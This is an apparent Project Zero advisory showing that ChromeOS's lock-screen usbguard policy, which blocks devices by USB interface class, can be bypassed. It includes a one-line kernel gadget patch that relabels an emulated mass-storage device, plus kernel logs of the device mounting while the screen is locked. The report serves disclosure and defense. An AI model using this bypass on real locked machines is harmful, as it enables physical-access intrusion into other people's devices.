ChromeOS' usage of usbguard is bypassable
VULNERABILITY DETAILS
ChromeOS uses https://usbguard.github.io/ when the screen is locked (but not
on the login screen, perhaps because it is expected that code execution is much
less helpful when the disk is still encrypted?).
When the screen is locked, a policy is applied that might look like this
(example from my Pixelbook):
```
allow id 0bda:564b serial \"\\x07LOE65001063010A78M015CFAI06BF12000\" name \"WebCamera\" hash \"KsByWtMB5JtGNDimauArXMiZOThFwagdTWeQsMAZ48c=\" with-interface { 0e:01:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 } with-connect-type \"hardwired\"
allow id 1d6b:0002 serial \"0000:00:14.0\" name \"xHCI Host Controller\" hash \"jEP/6WzviqdJ5VSeTUY8PatCNBKeaREvo2OqdplND/o=\" with-interface 09:00:00 with-connect-type \"\"
allow id 1d6b:0003 serial \"0000:00:14.0\" name \"xHCI Host Controller\" hash \"3Wo3XWDgen1hD5xM3PSNl3P98kLp1RUTgGQ5HSxtf8k=\" with-interface 09:00:00 with-connect-type \"\"
allow id 8087:0a2a serial \"\" name \"\" hash \"AyPZWy2XK0931kB9A/owYfk5xHEqnpDsJfdeLSGIyuk=\" with-interface { e0:01:01 e0:01:01 e0:01:01 e0:01:01 e0:01:01 e0:01:01 e0:01:01 } with-connect-type \"hardwired\"
####################################################################################################
# Footer.
####################################################################################################
block with-interface one-of { 05:*:* 06:*:* 07:*:* 08:*:* } # physical, image, printer, storage
allow
```
As you can see, it mostly just allowlists specific devices with full hashes of
the expected USB configuration descriptors, and internal USB devices are marked
such that they won't be accepted on external USB ports.
(Which, by the way, might not actually be necessary, since the USB subsystem's
`authorized_default` flag is set to 2 when the screen is locked, not 0, meaning
internal USB devices are automatically allowed anyway?)
But then at the bottom is this footer that blocks USB devices with interface
descriptors that contain the following `bInterfaceClass` values:
- USB_CLASS_PHYSICAL (5)
- USB_CLASS_STILL_IMAGE (6)
- USB_CLASS_PRINTER (7)
- USB_CLASS_MASS_STORAGE (8)
Afterwards, anything else is permitted.
This configuration footer comes from
<https://source.chromium.org/chromiumos/chromiumos/codesearch/+/main:src/third_party/chromiumos-overlay/sys-apps/usbguard/files/99-rules.conf>.
The interface-based classification of devices was introduced in
<https://chromium-review.googlesource.com/c/chromiumos/overlays/chromiumos-overlay/+/1217622/>.
Apart from the problem that there is a large amount of attack surface in drivers
for devices that don't belong into those USB interface classes, there is another
issue with this approach:
The kernel often doesn't care what USB class a device claims to be. The way USB
drivers tend to work, even for standardized protocols, is that the driver
specifies with low priority that it would like to bind to standards-compliant
devices using the proper USB interface class, but also specifies with high
priority that it would like to bind to specific USB devices based on Vendor ID
and Product ID, without caring about their USB interface class.
As an example, USB_CLASS_MASS_STORAGE is blocklisted, so a USB stick inserted
while the screen is locked doesn't get past the authorization check:
[ 6411.611320] usb 1-1: new high-speed USB device number 31 using xhci_hcd
[ 6411.738900] usb 1-1: New USB device found, idVendor=0781, idProduct=5580, bcdDevice= 0.10
[ 6411.738910] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 6411.738916] usb 1-1: Product: [...]
[ 6411.738921] usb 1-1: Manufacturer: SanDisk
[ 6411.738926] usb 1-1: SerialNumber: [...]
[ 6411.740583] usb 1-1: Device is not authorized for usage
[ 6414.875133] cros-ec-sensorhub [...]
[ 6418.603609] usb 1-1: USB disconnect, device number 31
But if we use a Linux machine with appropriate hardware (I'm using a NET2380 dev
board, but you could probably also do it with an unlocked Pixel phone or a
Raspberry Pi Zero W or something like that) to emulate a USB Mass Storage
device, using <https://docs.kernel.org/usb/mass-storage.html>, and patch one
line in the attacker kernel so that it claims to be a billboard, not a storage
device:
diff --git a/drivers/usb/gadget/function/storage_common.c b/drivers/usb/gadget/function/storage_common.c
index b859a158a414..d7452c8458a9 100644
--- a/drivers/usb/gadget/function/storage_common.c
+++ b/drivers/usb/gadget/function/storage_common.c
@@ -34,7 +34,7 @@ struct usb_interface_descriptor fsg_intf_desc = {
.bDescriptorType = USB_DT_INTERFACE,
.bNumEndpoints = 2, /* Adjusted during fsg_bind() */
- .bInterfaceClass = USB_CLASS_MASS_STORAGE,
+ .bInterfaceClass = USB_CLASS_BILLBOARD,
.bInterfaceSubClass = USB_SC_SCSI, /* Adjusted during fsg_bind() */
.bInterfaceProtocol = USB_PR_BULK, /* Adjusted during fsg_bind() */
.iInterface = FSG_STRING_INTERFACE,
Then we can connect just fine even while the screen is locked - first we get a
\"Device is not authorized\" message on the initial connection, then usbguard
unblocks us and the kernel probes the device as a mass storage device and scans
the partition table:
[ 6432.752906] usb 1-1: new high-speed USB device number 32 using xhci_hcd
[ 6432.885635] usb 1-1: New USB device found, idVendor=0525, idProduct=a4a5, bcdDevice= 5.17
[ 6432.885647] usb 1-1: New USB device strings: Mfr=3, Product=4, SerialNumber=0
[ 6432.885653] usb 1-1: Product: Mass Storage Gadget
[ 6432.885658] usb 1-1: Manufacturer: Linux 5.17.0-rc4+ with net2280
[ 6432.886121] usb 1-1: Device is not authorized for usage
[ 6432.891672] usb-storage 1-1:1.0: USB Mass Storage device detected
[ 6432.891985] usb-storage 1-1:1.0: Quirks match for vid 0525 pid a4a5: 10000
[ 6432.892090] scsi host0: usb-storage 1-1:1.0
[ 6432.892567] usb 1-1: authorized to connect
[ 6433.920354] scsi 0:0:0:0: Direct-Access Linux File-Stor Gadget 0517 PQ: 0 ANSI: 2
[ 6433.922585] sd 0:0:0:0: Power-on or device reset occurred
[ 6433.923533] sd 0:0:0:0: [sda] 204800 512-byte logical blocks: (105 MB/100 MiB)
[ 6434.030869] sd 0:0:0:0: [sda] Write Protect is off
[ 6434.030876] sd 0:0:0:0: [sda] Mode Sense: 0f 00 00 00
[ 6434.136540] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
[ 6434.363462] sda: sda1 sda2
[ 6434.585367] cros-ec-sensorhub [...]
[ 6434.588541] sd 0:0:0:0: [sda] Attached SCSI disk
I haven't looked at how this issue applies to other USB subsystems in detail,
but from a quick glance:
- USB_CLASS_PHYSICAL doesn't really show up in the Linux kernel outside of some
number-to-string translation table, so I don't think it matters to the kernel.
- Same thing with USB_CLASS_STILL_IMAGE.
- The usblp subsystem does have an explicit check for USB_CLASS_PRINTER - but
that check is intentionally bypassed for known devices that are marked in
the kernel as USBLP_QUIRK_BAD_CLASS, and that flag is set for the
\"Seiko Epson Receipt Printer M129C\" (vendor 0x04b8, device 0x0202), so you
can probably also bypass the blocking of the printer interface class that way.
I think the best way forward would be to look into whether it is feasible to
rely exclusively on a trust-on-first-use approach. If that is infeasible, you
may have to talk to upstream about how userspace can reliably determine which
driver(s) a given USB device might be bound to, since I'm not aware of any
interface that would let you do that.
VERSION
Google Chrome 98.0.4758.107 (Official Build) (64-bit)
Revision a2ef32d533baed737df9fc2ed8d505405ecf0c66-refs/branch-heads/4758@{#1167}
Platform 14388.61.0 (Official Build) stable-channel eve
Firmware Version Google_Eve.9584.230.0
Customization ID GOOGLE-EVE
ARC 8165997
CREDIT INFORMATION
Reporter credit: Jann Horn of Google Project Zero
This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is 2022-05-25.
Found by: jannh@google.com